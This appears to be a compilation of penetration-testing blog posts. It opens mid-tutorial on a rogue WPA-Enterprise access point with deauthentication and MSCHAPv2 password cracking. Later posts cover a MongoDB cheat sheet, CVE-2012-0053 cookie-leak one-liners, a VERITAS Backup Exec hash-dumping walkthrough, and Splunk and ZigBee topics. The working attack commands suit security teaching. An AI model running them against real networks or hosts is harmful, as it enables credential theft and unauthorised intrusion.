ssid=CorpNetwork
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=TKIP CCMP


After you have entered the data above in a file called hostapd.conf, run the software and supply the configuration file as shown below:

Syntax:
hostapd <configuration file>

Syntax:
hostapd ./hostapd.conf


After running hostapd, your screen should look like the following screenshot:
Figure 9:  hostapd will display minimal output after it is ready to receive the first wireless client

Deauthenticate the Client

Now that we have our RADIUS server and fake access point ready to go, we need a client to authenticate to us.  We could be patient and wait for any client to connect or reconnect to our AP or we could help speed the process up.  Our goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we will trick them to connect to our fake access point and RADIUS server so they will create the encrypted tunnel with us and pass their inner authentication credentials.
In our example, the victim information found during the discovery phase is summarized below:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44


Now, let’s knock the victim off the wireless network using aireplay’s deauthentication attack.

Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>

Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from

Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0


If the client reconnects to your access point, you will see traffic on both the freeradius-wpe screen as well as the hostapd screen.  However, the real goods will be displayed in the freeradius-server-wpe.log file:

root@kali:~# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log


The client authentication will fail, but this still provides us with the MSCHAPv2 challenge/response we need to crack the user’s password shown in the next section.
Figure 10:  The user’s authentication will fail, but we will have the challenge/response needed to crack the password

Brute-force the Credentials

Since the attack on these WPA-Enterprise inner authentication protocols is an off-line brute-force attack, you will first need a sufficiently large wordlist to supply to the cracking program.  The rockyou.com word list is a good start as it is almost 14.5 million passwords.  In order to use the rockyou.com wordlist, you will have to uncompress it as shown below:

root@kali:/usr/share/wordlists# ls
rockyou.txt.gz

root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz

root@kali:/usr/share/wordlists# ls
rockyou.txt

root@kali:/usr/share/wordlists# wc -l rockyou.txt
14344392 rockyou.txt


MSCHAPv2

Since the inner authentication protocol was MSCHAPv2 in this example, we will use Josh Wright’s asleap tool as shown below.  We will supply the challenge (-C), response (-R), and the wordlist (-W):

Syntax:
root@kali:~# asleap
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
asleap: Must supply an interface with -i, or a stored file with -r
Usage: asleap [options]

-r Read from a libpcap file
-i Interface to capture on
-f Dictionary file with NT hashes
-n Index file for NT hashes
-s Skip the check to make sure authentication was successful
-h Output this help information and exit
-v Print verbose information (more -v for more verbosity)
-V Print program version and exit
-C Challenge value in colon-delimited bytes
-R Response value in colon-delimited bytes
-W ASCII dictionary file (special purpose)

Attack:
root@kali:~# asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W /usr/share/wordlists/rockyou.txt


The asleap tool is very fast.  It found our password of “cheekymonkeyrox” in just seconds because it is present as-is within the rockyou password list.
Figure 11:  The challenge/response is used in the asleap tool with a dictionary to recover the password

Keep in mind that passwords are case sensitive and would thus most likely require permutations of passwords as discussed in previous articles.  For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout

Feed JTR permutations into asleap:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -W - -C <CHALLENGE> -R <RESPONSE>

Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W -

EAP-MD5

If the inner authentication protocol is EAP-MD5 use the eapmd5pass tool:

Syntax:
root@kali:~# eapmd5pass
eapmd5pass - Dictionary attack against EAP-MD5

Usage: eapmd5pass [ -i <int> | -r <pcapfile> ] [ -w wordfile ] [options]

 -i <iface>interface name
 -r <pcapfile>read from a named libpcap file
 -w <wordfile>use wordfile for possible passwords.
 -b <bssid>BSSID of target network (default: all)
 -U <username>Username of EAP-MD5 user.
 -C <chal>EAP-MD5 challenge value.
 -R <response>EAP-MD5 response value.
 -E <eapid>EAP-MD5 response EAP ID value.
 -vincrease verbosity level (max 3)
 -Vversion information
 -husage information

The "-r" and "[-U|-C|-R|-E]" options are not meant to be used together.  Use -r when a packet capture is available.  Specify the username, challenge and response when available through other means.

Attack:
root@kali:~# eapmd5pass -w /usr/share/wordlists/rockyou.txt -r WPAcapture-01.cap




For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout

Feed JTR permutations into eapmd5pass:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r <PCAP>

Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r WPAcapture-01.cap




Connect

Now that we have recovered the credentials, we will connect to the AP using the configuration files below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7"

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Create wpa_supplicant file:
network={
   ssid="CorpNetwork"
   scan_ssid=1
   key_mgmt=WPA-EAP
   eap=PEAP
   identity="TonyTestUser"
   password="cheekymonkeyrox"
   phase1="peaplabel=0"
   phase2="auth=MSCHAPV2"
}

Run the wpa_supplicant:
root@kali:~# wpa_supplicant -i wlan0 -c ~/wpa-psk.conf

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0




Countermeasures

Even though the intention of this article is not to warn about the dangers of using WPA-Enterprise PEAP or EAP-TLS security, we feel that it is important to note that client settings can be just as important as the EAP type.  That said, we perform many wireless assessments in which we discover misconfigured clients that leave themselves open to the attack outlined in this article.  When this is the case, we recommend centrally reconfiguring the wireless clients to reflect a more secure configuration.  For example, PEAP properties should always validate server certificates, specify RADIUS servers, specify CA’s, and prevent users from overriding any suspicious events.  These secure client settings are shown in the screenshot below.
Figure 12:  Wireless client settings for PEAP

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-Enterprise PEAP test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Props

Thomas d'Otreppe for the ever critical aircrack-ng software suite
Josh Wright and Brad Antoniewicz for great work on freeradius-WPE
Josh Wright for asleap and eapmd5pass
Jouni Malinen <j@w1.fi> and contributors for hostapd
Offensive security group for Kali Linux

Dan Dumond for the sanity check and proof read

Stopgap: Splunk for FireEye v2 App

$
0
0

By Tony Lee


Introduction
Technology is always progressing… which is great for the most part.  However, progression can sometimes cause compatibility issues when trying to merge two ever-evolving technologies--such as Splunk and FireEye.  This quick post should help get you up and running using the current Splunk for FireEye v2 App.  Preliminary testing shows that the patched version of the app (v2.0.8) should (at a minimum) work with Splunk and FireEye wMPS (NX) OS versions in the table below when following the instructions in this post.


Version
FireEye wMPS (NX) OS 6.X
FireEye wMPS (NX) OS 7.X
Splunk v5
OK
OK
Splunk v6
OK
OK

Outline
  • Background
  • Download
  • Installation from file
  • Creating a Splunk user
  • Configuring FireEye
  • Conclusion


Background
Knowing the background behind the Splunk v2.0.8 patch isn’t needed to make this work, but for those that are curious--see the following link:
http://answers.splunk.com/answers/123168/fireeye-built-in-dashboards-not-working

Download
There are four components that need to be downloaded--all of them require a free Splunk account, so you will need to register if you don’t already have an account.  Even though it is possible, do not try to download the three apps below from within the Splunk App Manager.  Download them from a web browser and save the apps in a directory that you can find later.


  1. Splunk (if not already installed) - http://www.splunk.com/download
  2. Splunk for FireEye App - https://apps.splunk.com/app/409/
  3. Splunk for Google Maps -http://apps.splunk.com/app/368/
  4. Splunk for Geo Location Lookup Script - http://apps.splunk.com/app/291/


Figure 1:  Downloading the apps using a web browser

Installation from file
First install Splunk if you did not already have it installed.  Now install the apps that we previously downloaded to disk.


For Splunk v6, use Apps Manage Apps -> Install app from file -> Browse


Figure 2:  Using app manager to install from file


Navigate to the following apps that you downloaded in the prior step, installing them one by one:
  • Splunk for Google Maps
    • google-maps_113.tgz
  • Splunk for Geo Location Lookup Script
    • geo-location-lookup-script-powered-by-maxmind_106.tgz
  • Splunk for FireEye App
    • fireeye_208.tgz


(Perform any necessary Splunk restarts when requested)


Figure 3:  Uploading the apps
Now that all of the apps are installed, the FireEye and GoogleMaps app should show up in the Splunk Home.
Figure 4:  Apps are installed

Creating a Splunk User
Since the Splunk for FireEye App uses HTTP Post to send FireEye XML data, we need to create a Splunk account that will be used for authentication to post our event data.
Note:  Make sure the account name is alphanumeric only (no whitespaces)
Example username:  fireeye


For Splunk v6, complete the following steps:
  • Log into the Splunk web UI with an admin account
  • Click “Settings -> Users and authentication -> Access Controls”
  • Click “Users” -> Click the "New" button
  • Fill in the required data
  • Privilege Note:  admin role is required (user and power user are not sufficient)
  • Click the "Save" button


C:\Users\tony.lee\AppData\Local\Temp\SNAGHTML4ac25578.PNG
Figure 5:  Creating the Splunk admin account that will accept our HTTP POST messages.

Configuring FireEye
Complete the following steps to send data to Splunk using extended XML via HTTP Post:
  • Log into the FireEye appliance with an administrator account
  • Click “Settings”
  • Click “Notifications”
  • Click the “http” hyperlink
  • Make sure the "Event type" check box is selected
  • Click the “Apply Settings” button


Next to the "Add HTTP Server" button, type "SplunkHTTP". Then click the "Add HTTP Server" button.
Next to the newly created SplunkHTTP entry, ensure the following check boxes are selected:
  • Enabled
  • Auth
  • SSL Enable


Enter the remaining settings:
Server URL:   https://<SplunkAD.DR.ESS>:<PORT>/services/receivers/simple?source=<FireEyeAddress>&sourcetype=fe_xml&index=fe
Username:  fireeye (or username you created in Splunk)
Password:  <password you created above in Splunk>


Note:  The default port used above is 8089--unless it has been changed.


Ex:  https://192.168.33.152:8089/services/receivers/simple?source=FEwMPS1&sourcetype=fe_xml&index=fe


Notifications: Select All Events (recommended)
Delivery: Select Per Event (recommended)
Message Format: XML Extended (recommended, but any XML option can be used)


Remember to click the “Update” button when finished.
Figure 6:  Steps to configure the FireEye appliance to send data to Splunk
Now test the sending and receiving of notifications on the same FireEye Notifications page by clicking the "Test-Fire" button at the bottom.   Flip back over to the Splunk interface and check out the event data in the FireEye App.
Figure 7:  FireEye Overview dashboard


Figure 8:  Malware Overview dashboard

Conclusion
These instructions are intended to help users bridge the gap to the latest version of Splunk and FireEye while a new app is in the works.  Let us know if this worked for you or if you have any issues that we can help solve in the meantime.  Thanks for reading.


Special Thanks To
Ian Ahl
Dennis Hanzlik
Josh McCarthy
Karen Kukoda
Leianne Lamb

Intro to Hacking Mongo DB

$
0
0
By Tony Lee


Introduction

There is a plethora of literature on hacking SQL databases.  This means going from database access to OS level execution or shells.  However there seems to be a shortage of information on hacking no-sql databases such as Mongo DB.  This article will hopefully help others get a jump start when they run into a Mongo database with weak or no credentials (yes it has happened).  It does not list all possibilities and is only meant to be a cheat sheet.  Feel free to list your favorite commands as well as tips and tricks in the comment section below.


Install mongo client on Kali:

apt-get install mongodb-clients


Connect to DB:

mongo --port <port> -u <username> -p <password> <IP>
Note:  Port 27017 is default value

ex:  mongo -u foo -p bar 10.10.10.10


Show server info:

db.adminCommand( { "hostInfo" : 1 } )
ex: db.adminCommand( { "hostInfo" : 1 } )
{
"system" : {
"currentTime" : ISODate("2014-03-01T14:47:54.379Z"),
"hostname" : "AwesomePC",
"cpuAddrSize" : 64,
"memSizeMB" : 1002,
"numCores" : 2,
"cpuArch" : "x86_64",
"numaEnabled" : false
},
"os" : {
"type" : "Linux",
"name" : "PRETTY_NAME=\"Debian GNU/Linux 7 (wheezy)\"",
"version" : "Kernel 3.2.0-4-amd64"
},
"extra" : {
"versionString" : "Linux version 3.2.0-4-amd64 (debian-kernel@lists.debian.org) (gcc version 4.6.3 (Debian 4.6.3-14) ) #1 SMP Debian 3.2.63-2+deb7u1",
"libcVersion" : "2.13",
"kernelVersion" : "3.2.0-4-amd64",
"cpuFrequencyMHz" : "2266.747",
},
"ok" : 1
}


Show users:

show users
-or-
db.runCommand( { usersInfo: 1 } )

ex:  show users


Show roles:

show roles

ex:  show roles


Show databases:

show dbs

ex:  show dbs
SecretDB  (size of DB)
AwesomeDB (size of DB)
EmptyDB   (empty)


Use database:

use <db_name>

ex:  use SecretDB


Show tables (called collections):

show tables
-or-
show collections
-or-
db.getCollctionNames()

ex: show tables
fluffy
users


List data in the table/collection:

db.<table_name>.find()

ex:  db.users.find()

Note:  by default, it will only display one page

Can also set limit with:
db.<table_name>.find().limit(#)

ex:  db.users.find().limit(5)


Search for exact match in the table/collection:

db.<collection_name>.find( { <column_name> : "<value>" } )

ex:  db.users.find( { name : "Tony" } )


Wildcard search data in the table/collection:

db.<collection_name>.find( { <column_name> : /<value>/i } )

Note:  the i at the end of the /, makes the search case insensitive

ex:  db.users.find( { name : /tony/i } )


Dump the DB for off-line grepping:

mongodump -u <user> -p <pass> -h <IP> --db <db_name>

ex:  mongodump -u foo -p bar -h 10.10.10.10 --db SecretDB

Note:  Results are dumped to:  dump/<db_name>/<collection_name>.bson


Logout:

logout




CAVEATS:

The cat command reads your own files, not the remote system's files
ex:  cat ("/etc/shadow") is your own shadow file :(  Bummer, I know!


Validating Apache HTTP Server httpOnly Cookie Information Disclosure - CVE-2012-0053

$
0
0
By Tony Lee


Introduction

Validating certain vulnerabilities can be time consuming--especially CVE-2012-0053.  I am not aware of any tools in particular for validating this issue, but here are some quick one-liners that you can use to verify that the server is indeed afflicted by CVE-2012-0053

Background

"protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script."


HTTP (uses netcat and port 80)

Copy and paste the following into a Linux command prompt.  Change <ipaddress> to the IP address of your target.  Remove the outer < > brackets:

IP=<ipaddress>; echo -e "GET / HTTP/1.1\nHost: $IP\nAccept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1\nAccept-Language: en\nConnection: Close\nCookie: z9=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT\n5.1; Trident/4.0)\nPragma: no-cache\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n" | nc $IP 80


HTTPS (uses openssl and port 443)

Copy and paste the following into a Linux command prompt.  Change <ipaddress> to the IP address of your target.  Remove the outer < > brackets:

IP=<ipaddress>; (echo -e "GET / HTTP/1.1\nHost: $IP\nAccept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1\nAccept-Language: en\nConnection: Close\nCookie: z9=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT\n5.1; Trident/4.0)\nPragma: no-cache\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n"; sleep 10) | openssl s_client -connect $IP:443



Response you are seeking

Notice that the response is an HTTP 400 and contains the cookie values

HTTP/1.1 400 Bad Request
Date: Fri, 14 Jul 2015 15:39:04 GMT
Server: ....
Content-Length: 5679
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre>
</p>

<hr>

Conclusion

Hopefully this helps save you a little time and prevents you from needed a scary mysterious binary should one be created.

Thanks

Jason Jarvis

FireEye Splunk App Introduces the Toolbox

$
0
0
By Tony Lee

Introduction

Splunk development has been a hobby of mine for a while now and the FireEye/Splunk app has been my outlet (when I get a fee night or weekend).  I enjoy it because it is fun to see what you can create and even more fun to see how many people use the app and how they use it.  The latest feature of the FireEye app will hopefully get a lot of use because the potential is unlimited.

The Toolbox

I have helped SOC personnel investigate incidents and found it a bit cumbersome to search for and launch different tools--especially in a segment of the network that has no Internet access.  Therefore, what I would like to do in the next couple of app releases is bring the tools to the analysts.  This effort really started with the last release by introducing Virus Total lookups directly from the app (both hash and IP/URL).  This time we are introducing two new tools:  a base64 converter and a URL decoder.  This could help investigators potentially decode C2 traffic, exploits, and attack URLs all without leaving the app.


Installation Note

After installing version 3.0.7 of the app, you may need to clear the local files--such as:

local/data/ui/nav/default.xml

This local copy of the file may prevent you from seeing the new Toolbox menu that appears in the screenshots below.

VirusTotal Lookup

As mentioned before, this feature was introduced in the last update, but if you have not seen the output, it is worth taking a look.  This tool requires Internet access, but we supply an API key for your convenience.



Base64 Converter

This tool allows responders to encode and decode Base64 data by changing the operation.  This tool does not require Internet access.


URL Decoder

This last tool in the toolbox enables users to decode obfuscated URLs.  This tool does not require Internet access.


Conclusion

Hopefully you will find these tools useful.  Additionally, feel free to provide feedback on any tools you would like to see added to the Toolbox.


Exploiting VERITAS Backup Exec Remote Agent Static Password Arbitrary File Download (CVE-2005-2611)

$
0
0

By Tony Lee

Introduction


I recently saw the old gem on a pentest, but when trying to explain the attack process to a colleague I could not find a good article--thus, I think it is worth writing one.

The finding in question is picked up by Nessus as:
VERITAS Backup Exec Remote Agent Static Password Arbitrary File Download (CVE-2005-2611)

The description reads:
"The remote host is running a version of VERITAS Backup Exec Agent which is configured with a default root account. An attacker may exploit this flaw to retrieve files from the remote host."

At first, you may think so what... But if you can grab any file, why not grab a copy of the password hashes stored on disk? Fortunately for us, there is a process that can be followed.


The major steps involved are:
  • Grab the files
  • Extract the files
  • Crack the hashes

Grab the files

First we need to figure out which files we want to grab.

On a domain controller, domain hashes are found in NTDS.dit:

  • C:\windows\ntds\NTDS.DIT


On a workstation, you might remember that local system password hashes reside within two places:

  • C:\windows\system32\config
  • C:\windows\repair
For this exercise, let's focus on the workstation since it will be more probable. The config directory contains a copy of the current hashes. The repair directory contains a copy of the hashes as of the last restore point. Since the restore point may be in the past and thus not current, why do we care about the repair directory? Well, if for some reason you cannot pull down the config directory (you get a 0 byte file or the exploit fails), try the repair directory. I have seen the exploit fail because the files are in use by the operating system. The repair directory may yield an account that still exists with a static password. The process is the same either way, so first try the config directory and if that fails, we will move to the repair directory. Now to the exploit...

We are fortunate that the exploit is already written for us and is available within Metasploit.




msf > use auxiliary/admin/backupexec/dump msf auxiliary(dump) > show options Module options (auxiliary/admin/backupexec/dump): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST no The local IP address to accept the data connection LPATH backupexec_dump.mtf yes The local filename to store the exported data LPORT no The local port to accept the data connection RHOST yes The target address RPATH C:\Windows\win.ini yes The remote filesystem path to download RPORT 10000 yes The target port Auxiliary action: Name Description ---- ----------- Download msf auxiliary(dump) >


Start small by pulling the default file shown (win.ini). Thus, the only required parameter above that is currently not populated is RHOST, so let's set it. Assuming your target is 192.168.2.10, we would use the following:


msf auxiliary(dump) > set RHOST 192.168.2.10
RHOST => 192.168.2.10


If that is successful, go for gold.




msf auxiliary(dump) > set RPATH c:\\windows\\system32\\config\\ RPATH => c:\windows\system32\config\

msf auxiliary(dump) > run

[*] Attempting to retrieve c:\windows\system32\config
[*] Sending magic authentication request...
[*] Starting our data listener...
[*] Sending data connection request...
[*] Waiting for the data connection...
[*] Sending transfer parameters...
[*] Sending backup request...
[*] Sending environment request...
[*] Transferring data...
[*] Transferred 62194541 bytes.
[*] Auxiliary module execution completed
msf auxiliary(dump) >


If all goes well, the file should not be a zero byte file and you can start the extraction. If this fails or it a zero byte file, change the directory to the repair directory (c:\windows\repair)



Extract the files

This step requires a Windows binary called ntbkup.exe to extract the files from the .mtf archive. It used to be available from www.fpns.net, but that site seems to have changed hands. If you want a known clean copy, message me and I will provide it free of charge. Otherwise, feel free to obtain it from a slightly less reputable source at your own risk.

The syntax for the extraction is:



ntbkup.exe <backupfile> -x



This is what it will look like for a successful extraction:


c:\test>ntbkup.exe backupexec_dump.mtf -x

NTBKUP Ver 1.07c compiled for WIN32 with MAX_PATH = 100 compiled for 64 bit file offsets Copyright (C) 2003 William T. Kranz NTBKUP comes with ABSOLUTELY NO WARRANTY Free software distributed under the terms of the GNU General Public license See http://www.gnu.org/licenses/gpl.html for license information Check http://www.fpns.net/willy/msbackup.htm for Updates & Documentation

--snip--

extracing: SAM: data from 0x1d4166 to 0x28f808 length 767650 atrib 0x80 02/16/2010 02:07:13 PM extracing: secsetup.inf: data from 0x28fd32 to 0x2a2d32 length 77824 atrib 0x20 12/11/2012 06:13:32 PM extracing: SECURITY: data from 0x2a3162 to 0x2d589b length 206649 atrib 0x80 02/16/2010 02:06:13 PM extracing: setup.log: data from 0x2d5d76 to 0x2e2f76 length 53760 atrib 0x20 12/11/2012 06:19:39 PM extracing: smss.ASR: data from 0x2e3132 to 0x195e132 length 23572480 atrib 0x20 12/11/2012 06:13:37 PM extracing: software: data from 0x195e52e to 0x1da152e length 4468736 atrib 0x20 12/11/2012 06:13:44 PM extracing: system: data from 0x1da253a to 0x1da7cea length 22448 atrib 0x20 02/27/2010 03:32:01 PM

--snip--


The most important two files contained above are the SAM file and the system file. I ignored most of the rest.


Crack the hashes

As mentioned previously, the most important files extracted are the SAM and system file. The SAM file in encrypted with a protection called syskey. The system file is used to decrypt the SAM file into hashes we can crack. There are many methods to crack this file, but here are two simple methods:

  • Cain and Abel
  • samdump2

We are going to focus on using samdump2 because it is fast and native in Kali, but in case you are curious, here is a reference for instructions to use Cain and Abel: http://www.oxid.it/ca_um/topics/nt_hashes_dumper.htm

samdump2 is a very easy to use program and works great for this specific instance. Copy the SAM and system file over to your Kali host and use the following syntax:




root@kali:~/Desktop# samdump2 SAM system > hashes.txt samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it


That's it! Open hashes.txt with your favorite text editor (the right answer is vi) and view your trophy. Throw it into John the Ripper or a GPU cracker and you are in business. Hopefully a local administrator password will crack and you can use remote desktop or push your favorite RAT for further pillaging.


Summary

We hope you enjoyed that blast from the past and found it useful. Again, reach out if you cannot find the ntbkup.exe binary from a legit source and I can email it to you. Thanks for reading and happy hacking!


Props

  • Rapid7/Metasploit team: https://www.rapid7.com/db/modules/auxiliary/admin/backupexec/dump

Fun with ZigBee Wireless - Part I (Background)

$
0
0

By Tony Lee

Introduction

In our previous articles, we have covered quite a bit of 802.11 hacking:

This time, let's explore a different wireless medium: ZigBee! In this series we will look at the following:
  • Why Zigbee matters
  • Background/history
  • Hardware
  • Software
  • Passive attacks
  • Firmware upgrades
  • Active attacks
A good deal of research has already been completed -- so we give a head nod to all that have pioneered this space. But there truly is nothing like trying it yourself. A warning to the weary:  The documentation at times is lacking (unless source code counts). But hopefully this series will give you some key tidbits that will help you on your way to getting up and running faster.

Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Why ZigBee matters

The primary reason why ZigBee matters is because you can control the physical environment through a wireless medium. This mostly applies to embedded device applications -- such as home automation/Internet of Things (IoT), but it can also apply to more sensitive applications such as SCADA equipment.

Here are some categories and examples of how ZigBee is used in the world around you:
  • Sensors: Temperature, humidity, water
  • Control: Lighting, HVAC, appliances, power
  • SCADA specific: Smart meters/water/gas


Figure 1:  The Zen Thermostat is an example of a ZigBee capable device


Figure 2:  Diagram of ZigBee Alliance smart meters



The most interesting thing about wireless technologies is that vendors are usually very proud in announcing details of their usage--to the extent that they even include the protocols, protection, and chosen frequency.

Quick Background

ZigBee is a IEEE 802.15.4-based specification designed to create Personal Area Networks (PANs). This PAN differs from others such as Bluetooth because it is designed to be simpler and cheaper. ZigBee is also designed to have lower power consumption. In fact, the battery must last at least 2 years in order to meet ZigBee certification standards. However, much of the home automation devices seem to have 5+ year battery life. The transmission distance is anywhere from 10-100 meters (or more if you consider the built-in mesh support).

Brief History
ZigBee has been around for quite some time.  In fact, over a decade.  The following three bullets summarize the major advancements.  For more information, visit the ZigBee wiki page found here:  https://en.wikipedia.org/wiki/ZigBee
  • 2004:  IEEE 802.15.4 ratified
  • Zigbee-2006:   added encryption support
  • Zigbee-2007 Zigbee-PRO:  Compatible with 2006, “Trust center” security model, etc.

Frequencies
The first ZigBee frequency consideration largely depends on geographic location.  Aside from location, the application (based on signal propagation) can help determine the chosen frequency.  For example, much of the home automation/IoT space uses the 2.4 GHz range and some outdoor applications tend to use the 915 MHz range.  Geographically, the frequencies are assigned as follows:
  • 2.4 GHz - Worldwide
  • 915 MHz - US/AUS
  • 868 MHz - Europe
  • 784 MHz - China
Encryption
ZigBee uses 128-bit AES encryption.  Two keys are used for communication.  A network key is shared by everyone and used for broadcast traffic, while a link key is unique per 2 devices.  Both network and link keys are established through a Master key—thus key distribution is critical to security.

Attack Goals
When looking at this space from a security perspective it is important to establish the attack goals.  Here are just a few possible goals along with examples:
  • Read sensitive data
    • Ex:  Proprietary data, processes, etc.
  • Inject incorrect information
    • Ex:  Report false information
  • Replay commands
    • Ex:  Increase, decrease
  • Denial of service
    • Ex:  Stop reporting data
  • Leverage connected networks
    • Ex:  Breach an internal network using ZigBee

Conclusion


This article outlined why we are examining ZigBee and provides some background to include usage, history, and frequency ranges and encryption.  The next article will cover one of the many hardware options.

